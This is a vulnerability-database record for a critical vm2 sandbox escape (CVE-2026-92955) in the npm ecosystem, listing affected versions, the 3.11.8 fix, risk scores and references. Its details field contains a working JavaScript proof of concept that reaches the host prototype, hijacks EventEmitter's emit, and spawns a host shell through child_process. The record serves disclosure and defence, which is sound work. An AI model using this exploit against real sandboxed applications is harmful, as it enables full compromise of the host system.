{"schema":"threatline.record/2","record":{"id":"CVE-2026-92955","aliases":["GHSA-88hf-g992-jg85"],"summary":"vm2: Sandbox Escape (NodeVM)","details":"## Summary\n\nIt being possible to obtain the host `__proto__` getter/setter, has been used in many reports:\n\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6\n\nYet it was never patched...\n\n---\n\nThis can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default)\n\n## Details\n\nThe prototype chain for `console._stdout`/`console._stderr` is:\n\n```\n_stdout / _stderr\n-> WriteStream (TTY only)\n-> Socket\n-> Duplex\n-> Readable\n-> Stream\n-> EventEmitter\n```\n\n`process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype`\n\nBy overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`.\n\nThis also bypasses `--disallow-code-generation-from-strings`, which blocks the \"usual\" escape of obtaining the host function constructor.\n\n## PoC\n\n```js\nconst { NodeVM } = require(\"vm2\");\n\ncode = `\nconst gP = Buffer.call.call(__lookupGetter__,67,'__proto__');\n\n// vm __proto__ getter\nconsole.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}\n\n// host __proto__ getter\nconsole.log(gP.call(console._stderr)); // Socket { [...] }\n\nlet p = console._stdout;\nwhile (p.pipe) {\n\tconsole.log(p.constructor.name);\n\tp = gP.call(p);\n};\n\np.emit = function(){\n\tconsole.log(this+[]);\n\tthis.getBuiltinModule(\"child_process\").execSync(\"sh\",{stdio:\"inherit\"})\n}\n`;\n\nconst vm = new NodeVM();\nvm.run(code);\n```","categories":["Libraries & packages"],"product":"vm2","vendor":"patriksimek","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-88hf-g992-jg85","source_modified_at":"2026-10-05T22:47:10Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"range":"<= 3.11.7"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-92955","source_modified_at":"2026-09-17T14:23:35.469Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"vm2","vendor":"patriksimek","versions":[{"version":"0","status":"affected","versionType":"semver","lessThan":"3.11.8"},{"version":"3.11.8","status":"unaffected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-88hf-g992-jg85","source_modified_at":"2026-10-05T23:00:04.252002025Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.8"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-88hf-g992-jg85","source_modified_at":"2026-10-05T22:47:10Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"version":"3.11.8"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-92955","source_modified_at":"2026-09-17T14:23:35.469Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vm2","ecosystem":null},"version":"3.11.8","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-88hf-g992-jg85","source_modified_at":"2026-10-05T23:00:04.252002025Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"version":"3.11.8"}],"cvss":10,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.00712,"percentile":0.53103,"score_date":"2026-10-23"},"published_at":"2026-09-17T13:46:13.508Z","modified_at":"2026-10-05T23:00:04.252002025Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-88hf-g992-jg85","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-05T22:47:10Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-92955","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-17T14:23:35.469Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-88hf-g992-jg85","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-05T23:00:04.252002025Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92955","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92955","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.8","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-88hf-g992-jg85","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"total","assessed_at":"2026-09-17T14:23:07.314615Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-05T23:00:04.252002025Z","content_hash":"4b2683dde0339f39b2c77519bf18ccbeb01b12fc5f4b87e0ee38adea24e7d2a8"}}